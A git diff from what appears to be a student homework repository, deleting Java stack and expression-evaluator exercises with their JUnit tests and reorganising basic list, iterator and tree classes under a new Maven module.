-	}
-
-}
diff --git a/group17/1158154002/src/test05/stack/StackTest.java b/group17/1158154002/src/test05/stack/StackTest.java
deleted file mode 100644
index a5d6b39344..0000000000
--- a/group17/1158154002/src/test05/stack/StackTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package test05.stack;
-
-import java.util.Arrays;
-
-import org.junit.Test;
-
-public class StackTest {
-	@Test
-	public void testReverse(){
-		Stack<Integer> stack=new Stack<Integer>();
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-		
-		StackUtil.reverse(stack);
-		System.out.println(stack.toString());
-	}
-	
-	@Test
-	public void testRemove(){
-		Stack stack=new Stack();
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-		
-		StackUtil.remove(stack,3);
-		System.out.println(stack.toString());
-	}
-	//isValidPairs
-	@Test
-	public void testGetTop(){
-		Stack stack=new Stack();
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-
-		System.out.println(Arrays.toString(StackUtil.getTop(stack,6)));
-		System.out.println(stack.toString());
-	}
-	
-	@Test
-	public void testIsValidPairs(){
-		System.out.println(StackUtil.isValidPairs("([e{d}f])"));
-		System.out.println(StackUtil.isValidPairs("([b{x]y})"));
-	}
-}
diff --git a/group17/1158154002/src/test05/stack/StackUtil.java b/group17/1158154002/src/test05/stack/StackUtil.java
deleted file mode 100644
index 2904bec41c..0000000000
--- a/group17/1158154002/src/test05/stack/StackUtil.java
+++ /dev/null
@@ -1,151 +0,0 @@
-package test05.stack;
-
-
-
-public class StackUtil {
-	/**
-	 * 假设栈中的元素是T, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param <T>
-	 */
-	public static <T> void reverse(Stack<T> s) {
-			Stack<T> temp=new Stack<T>();
-			while (s.peek()!=null) {
-				temp.push(s.pop());
-			}
-			Stack<T> temp2=new Stack<T>();
-			while (temp.peek()!=null) {
-				temp2.push(temp.pop());
-			}
-			while (temp2.peek()!=null) {
-				s.push(temp2.pop());
-			}
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		Stack temp=new Stack();
-		while (s.peek()!=null) {
-			Object obj=s.pop();
-			if (!obj.equals(o)) {
-				temp.push(obj);	
-			}
-		}
-		while (temp.peek()!=null) {
-			s.push(temp.pop());
-		}
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 * @throws Exception 
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		if (len<=s.size()) {
-			Stack temp=new Stack();
-			Object[] result=new Object[len];
-			for (int i = 0; i < s.size(); i++) {
-				Object o=s.pop();
-				temp.push(o);
-				if (i<len) {
-					result[i]=o;
-				}
-			}
-			while (temp.peek()!=null) {
-				s.push(temp.pop());
-			}
-			return result;
-		} else {
-			throw new IndexOutOfBoundsException("len 大于实际长度！");
-		}
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-//	public static boolean isValidPairs(String s) {
-//		Stack s1 = new Stack();
-//		for (int i = 0; i < s.length(); i++) {
-//			char c = s.charAt(i);
-//			if (c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}') {
-//				s1.push(c);
-//			}
-//		}
-//
-//		Stack s2 = new Stack();
-//		for (int i = s.length() - 1; i >= 0; i--) {
-//			char c = s.charAt(i);
-//			if (c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}') {
-//				s2.push(c);
-//			}
-//		}
-//
-//		for (int i = 0; i < s1.size() / 2; i++) {
-//			char a = (char) s1.pop();
-//			char b = (char) s2.pop();
-//			if (a == '(' && b != ')') {
-//				return false;
-//			} else if (a == ')' && b != '(') {
-//				return false;
-//			} else if (a == '[' && b != ']') {
-//				return false;
-//			} else if (a == ']' && b != '[') {
-//				return false;
-//			} else if (a == '{' && b != '}') {
-//				return false;
-//			} else if (a == '}' && b != '{') {
-//				return false;
-//			}
-//		}
-//
-//		return true;
-//	}
-	
-public static boolean isValidPairs(String s){
-		
-		Stack<Character> stack = new Stack<Character>();
-		for(int i=0;i<s.length();i++){
-			char c = s.charAt(i);
-			
-			if(c == '(' || c =='[' || c == '{'){
-				
-				stack.push(c);
-				
-			} else if( c == ')'){
-				
-				char topChar = stack.pop();
-				if(topChar != '('){
-					return false;
-				}
-				
-			} else if( c == ']'){
-				
-				char topChar = stack.pop();
-				if(topChar != '['){
-					return false;
-				}
-					
-			} else if( c == '}'){
-				
-				char topChar = stack.pop();
-				if(topChar != '{'){
-					return false;
-				}
-				
-			}
-		}
-		return stack.size() == 0;
-	}
-
-}
diff --git a/group17/1158154002/src/test06/expr/InfixExpr.java b/group17/1158154002/src/test06/expr/InfixExpr.java
deleted file mode 100644
index 78f23b79c4..0000000000
--- a/group17/1158154002/src/test06/expr/InfixExpr.java
+++ /dev/null
@@ -1,92 +0,0 @@
-package test06.expr;
-
-import java.util.Arrays;
-
-import test05.stack.Stack;
-import test05.stack.StackUtil;
-
-public class InfixExpr {
-	String expr = null;
-
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		String[] str = expr.split("\\+|\\-|\\*|\\/");
-		System.out.println(Arrays.toString(str));
-
-		Stack<Character> symbol = new Stack<>();
-		Stack<Float> num = new Stack<>();
-
-		for (int i = 0; i < str.length; i++) {
-			num.push(Float.valueOf(str[i]));
-		}
-		
-		for (int i = 0; i < expr.length(); i++) {
-			char c = expr.charAt(i);
-			if (c == '+' || c == '-' || c == '*' || c == '/') {
-				symbol.push(c);
-			}
-		}
-		// 逆置
-		StackUtil.reverse(symbol);
-		StackUtil.reverse(num);
-
-		// 取数，符号计算
-		float result = 0;
-		while (num.size() > 1) {
-			float a = num.pop();
-			float b = num.pop();
-
-			char s1 = symbol.pop();
-			char s2 = ' ';
-			if (symbol.size() > 0) {
-				s2 = symbol.pop();
-				if (s1 == '*') {
-					result = a * b;
-					symbol.push(s2);
-				} else if (s1 == '/') {
-					result = a / b;
-					symbol.push(s2);
-				} else if (s2 != ' ') {
-					if (s2 == '*' || s2 == '/') {
-						if (s2 == '*') {
-							result = b * num.pop();
-						} else if (s2 == '/') {
-							result = b / num.pop();
-						}
-						if (s1 == '+') {
-							result = a + result;
-						} else if (s1 == '-') {
-							result = a - result;
-						}
-					} else {
-						if (s1 == '+') {
-							result = a + b;
-							symbol.push(s2);
-						} else if (s1 == '-') {
-							result = a - b;
-							symbol.push(s2);
-						}
-					}
-				}
-				num.push(result);
-				System.out.println(result);
-			} else {
-				if (s1 == '+') {
-					result = a + b;
-				} else if (s1 == '-') {
-					result = a - b;
-				} else if (s1 == '*') {
-					result = a * b;
-				} else if (s1 == '/') {
-					result = a / b;
-				}
-				System.out.println(result);
-			}
-		}
-
-		return result;
-	}
-}
diff --git a/group17/1158154002/src/test06/expr/InfixExprTest.java b/group17/1158154002/src/test06/expr/InfixExprTest.java
deleted file mode 100644
index 5c03c1a06d..0000000000
--- a/group17/1158154002/src/test06/expr/InfixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package test06.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class InfixExprTest {
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-//		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-	
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/InfixToPostfix.java b/group17/1158154002/src/test07/expr/InfixToPostfix.java
deleted file mode 100644
index e88f211eb8..0000000000
--- a/group17/1158154002/src/test07/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package test07.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import test05.stack.Stack;
-
-public class InfixToPostfix {
-	// 2+3*4-8/2 2 3 4 * + 8 2 / -
-	// 2+3*4-8/2+3
-	// 2+3*4*5*5-8/2 2 3 4 * 5 * 5 * + 8 2 / -
-	// 2+3*4*5*5-8/2/2 2 3 4 * 5 * 5 * + 8 2 / -
-	public static List<Token> convert(String expr) {
-
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr);
-		List<Token> result = new ArrayList<Token>();
-
-		Stack<Token> opStack = new Stack<>();
-		for (Token token : tokens) {
-
-			if (token.isOperator()) {
-
-				if (opStack.isEmpty()) {
-					opStack.push(token);
-				} else {
-
-					if (token.hasHigherPriority()&&!opStack.peek().hasHigherPriority()) {
-						opStack.push(token);
-					} else if (!token.hasHigherPriority()&&opStack.peek().hasHigherPriority()) {
-						if (opStack.size() > 1) {
-							while (opStack.size() > 0) {
-								result.add(opStack.pop());
-							}
-						}
-						opStack.push(token);
-					}
-					else {
-						result.add(token);
-					}
-				}
-			}
-			if (token.isNumber()) {
-				result.add(token);
-			}
-		}
-		while (opStack.size() > 0) {
-			result.add(opStack.pop());
-		}
-		for (Token token : result) {
-			System.out.print(token.value + " ");
-		}
-		System.out.println();
-		return result;
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/InfixToPostfixTest.java b/group17/1158154002/src/test07/expr/InfixToPostfixTest.java
deleted file mode 100644
index eb11aae32d..0000000000
--- a/group17/1158154002/src/test07/expr/InfixToPostfixTest.java
+++ /dev/null
@@ -1,12 +0,0 @@
-package test07.expr;
-
-public class InfixToPostfixTest {
-	
-	public static void main(String[] args) {
-		//2+3*4-8/2
-		//2+3*4*5*5-8/2
-		InfixToPostfix.convert("2+3*4*5*5-8/2/2");
-		InfixToPostfix.convert("2+3");
-	}
-
-}
diff --git a/group17/1158154002/src/test07/expr/PostfixExpr.java b/group17/1158154002/src/test07/expr/PostfixExpr.java
deleted file mode 100644
index 5e4e35433c..0000000000
--- a/group17/1158154002/src/test07/expr/PostfixExpr.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package test07.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-	String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		Stack<Float> numStack = new Stack<>();
-		
-		for(Token token : tokens){
-			
-			if (token.isOperator()){
-				Float f2=numStack.pop();
-				Float f1=numStack.pop();
-				numStack.push(calculate(token.toString(), f1, f2));
-			} 
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}
-		}
-		
-		return numStack.pop().floatValue();
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/PostfixExprTest.java b/group17/1158154002/src/test07/expr/PostfixExprTest.java
deleted file mode 100644
index 11e17fc804..0000000000
--- a/group17/1158154002/src/test07/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package test07.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/PrefixExpr.java b/group17/1158154002/src/test07/expr/PrefixExpr.java
deleted file mode 100644
index c02253ab1c..0000000000
--- a/group17/1158154002/src/test07/expr/PrefixExpr.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package test07.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-import test05.stack.StackUtil;
-
-public class PrefixExpr {
-	String expr = null;
-
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		Stack<Float> numStack = new Stack<>();
-		
-		for (int i = tokens.size()-1; i >=0; i--) {
-			Token token=tokens.get(i);
-			if (token.isOperator()){
-				Float f2=numStack.pop();
-				Float f1=numStack.pop();
-				numStack.push(calculate(token.toString(), f2, f1));
-			} 
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}
-		}		
-		return numStack.pop().floatValue();
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/PrefixExprTest.java b/group17/1158154002/src/test07/expr/PrefixExprTest.java
deleted file mode 100644
index 04ed04ad0a..0000000000
--- a/group17/1158154002/src/test07/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package test07.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/Token.java b/group17/1158154002/src/test07/expr/Token.java
deleted file mode 100644
index 7cd540bb3d..0000000000
--- a/group17/1158154002/src/test07/expr/Token.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package test07.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-public class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	public boolean hasHigherPriority(){
-		if(!this.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) -1 > 0;
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/TokenParser.java b/group17/1158154002/src/test07/expr/TokenParser.java
deleted file mode 100644
index 7e3a4db91b..0000000000
--- a/group17/1158154002/src/test07/expr/TokenParser.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package test07.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group17/1158154002/src/test07/expr/TokenParserTest.java b/group17/1158154002/src/test07/expr/TokenParserTest.java
deleted file mode 100644
index 926a03e70e..0000000000
--- a/group17/1158154002/src/test07/expr/TokenParserTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package test07.expr;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-}
diff --git a/group17/1204187480/code/homework/basic/pom.xml b/group17/1204187480/code/homework/basic/pom.xml
new file mode 100644
index 0000000000..17b2dea49e
--- /dev/null
+++ b/group17/1204187480/code/homework/basic/pom.xml
@@ -0,0 +1,12 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <artifactId>basic</artifactId>
+    <parent>
+        <groupId>com.coding</groupId>
+        <artifactId>parent</artifactId>
+        <version>1.0-SNAPSHOT</version>
+        <relativePath>../parent/pom.xml</relativePath>
+    </parent>
+
+</project>
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayList.java b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/ArrayList.java
similarity index 95%
rename from group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayList.java
rename to group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/ArrayList.java
index cbe1f87a05..d09d63c2fa 100644
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayList.java
+++ b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/ArrayList.java
@@ -1,111 +1,108 @@
-package com.coding.basic.array;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-import java.util.Arrays;
-
-public class ArrayList implements List {
-
-    private int size = 0;
-
-    private Object[] elementData = new Object[100];
-
-    private Iterator iterator = new ArrayListIterator();
-
-    private int length() {
-        return elementData.length;
-    }
-
-    private static final int ENLARGE_LENGTH = 100;
-
-    private Object[] enlarge(Object[] origin) {
-        return Arrays.copyOf(origin, origin.length + ENLARGE_LENGTH);
-    }
-
-    private void enLargeElementData() {
-        if (size == length()) {
-            elementData = enlarge(elementData);
-        }
-    }
-
-    public void add(Object o) {
-        enLargeElementData();
-        elementData[size] = o;
-        size++;
-    }
-
-    public void add(int index, Object o) {
-        checkForAdd(index);
-        enLargeElementData();
-        // 备份 index 处及后面的数据
-        Object[] elementsBehindIndex = backBehindElements(elementData, index);
-        // 给index处 设值
-        elementData[index] = o;
-        // 追加 备份的数据
-        appendElement(elementData, index, elementsBehindIndex);
-        size++;
-    }
-
-    private void appendElement(Object[] origin, int pos, Object[] append) {
-        System.arraycopy(append, 0, origin, pos, append.length);
-    }
-
-    private Object[] backBehindElements(Object[] elementData, int index) {
-        int backSize = size - index;
-        Object[] back = new Object[backSize];
-        System.arraycopy(elementData, index, back, 0, backSize);
-        return back;
-    }
-
-    public Object get(int index) {
-        checkIndex(index);
-        return elementData[index];
-    }
-
-    private void checkIndex(int index) {
-        if (index < 0 || index >= size) {
-            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
-        }
-    }
-
-    private void checkForAdd(int index) {
-        if (index < 0 || index > size) {
-            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
-        }
-    }
-
-    public Object remove(int index) {
-        checkIndex(index);
-        Object[] back = backBehindElements(elementData, index + 1);
-        System.arraycopy(back, 0, elementData, index, back.length);
-        Object ret = elementData[index];
-        elementData[index] = null;
-        size--;
-        return ret;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public Iterator iterator() {
-        return iterator;
-    }
-
-    private class ArrayListIterator implements Iterator {
-
-        int next = 0;
-
-        @Override
-        public boolean hasNext() {
-           return next < size;
-        }
-
-        @Override
-        public Object next() {
-            return elementData[next++];
-        }
-    }
-
-}
+package com.coding.basic;
+
+import java.util.Arrays;
+
+public class ArrayList implements List {
+
+    private int size = 0;
+
+    private Object[] elementData = new Object[100];
+
+    private Iterator iterator = new ArrayListIterator();
+
+    private int length() {
+        return elementData.length;
+    }
+
+    private static final int ENLARGE_LENGTH = 100;
+
+    private Object[] enlarge(Object[] origin) {
+        return Arrays.copyOf(origin, origin.length + ENLARGE_LENGTH);
+    }
+
+    private void enLargeElementData() {
+        if (size == length()) {
+            elementData = enlarge(elementData);
+        }
+    }
+
+    public void add(Object o) {
+        enLargeElementData();
+        elementData[size] = o;
+        size++;
+    }
+
+    public void add(int index, Object o) {
+        checkForAdd(index);
+        enLargeElementData();
+        // 备份 index 处及后面的数据
+        Object[] elementsBehindIndex = backBehindElements(elementData, index);
+        // 给index处 设值
+        elementData[index] = o;
+        // 追加 备份的数据
+        appendElement(elementData, index, elementsBehindIndex);
+        size++;
+    }
+
+    private void appendElement(Object[] origin, int pos, Object[] append) {
+        System.arraycopy(append, 0, origin, pos, append.length);
+    }
+
+    private Object[] backBehindElements(Object[] elementData, int index) {
+        int backSize = size - index;
+        Object[] back = new Object[backSize];
+        System.arraycopy(elementData, index, back, 0, backSize);
+        return back;
+    }
+
+    public Object get(int index) {
+        checkIndex(index);
+        return elementData[index];
+    }
+
+    private void checkIndex(int index) {
+        if (index < 0 || index >= size) {
+            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
+        }
+    }
+
+    private void checkForAdd(int index) {
+        if (index < 0 || index > size) {
+            throw new ArrayIndexOutOfBoundsException(String.format("index=%s, size=%s", index, size));
+        }
+    }
+
+    public Object remove(int index) {
+        checkIndex(index);
+        Object[] back = backBehindElements(elementData, index + 1);
+        System.arraycopy(back, 0, elementData, index, back.length);
+        Object ret = elementData[index];
+        elementData[index] = null;
+        size--;
+        return ret;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public Iterator iterator() {
+        return iterator;
+    }
+
+    private class ArrayListIterator implements Iterator {
+
+        int next = 0;
+
+        @Override
+        public boolean hasNext() {
+           return next < size;
+        }
+
+        @Override
+        public Object next() {
+            return elementData[next++];
+        }
+    }
+
+}
diff --git a/group24/Homework/1-FirstWeek/BinaryTreeNode.java b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/BinaryTreeNode.java
similarity index 94%
rename from group24/Homework/1-FirstWeek/BinaryTreeNode.java
rename to group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/BinaryTreeNode.java
index d7ac820192..266eff3d56 100644
--- a/group24/Homework/1-FirstWeek/BinaryTreeNode.java
+++ b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/BinaryTreeNode.java
@@ -1,32 +1,32 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/Iterator.java b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Iterator.java
similarity index 100%
rename from group27/383117348/data-structure/com/coding/basic/Iterator.java
rename to group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Iterator.java
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LinkedList.java b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/LinkedList.java
similarity index 98%
rename from group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LinkedList.java
rename to group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/LinkedList.java
index d9c4ee3c7b..c0cce5af0a 100644
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LinkedList.java
+++ b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/LinkedList.java
@@ -1,7 +1,4 @@
-package com.coding.basic.linklist;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
+package com.coding.basic;
 
 public class LinkedList implements List {
 
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/List.java b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/List.java
similarity index 95%
rename from group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/List.java
rename to group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/List.java
index ef939ae2cc..0a09990083 100644
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/List.java
+++ b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/List.java
@@ -1,10 +1,10 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-	public Iterator iterator();
-}
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+	public Iterator iterator();
+}
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Queue.java b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Queue.java
similarity index 87%
rename from group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Queue.java
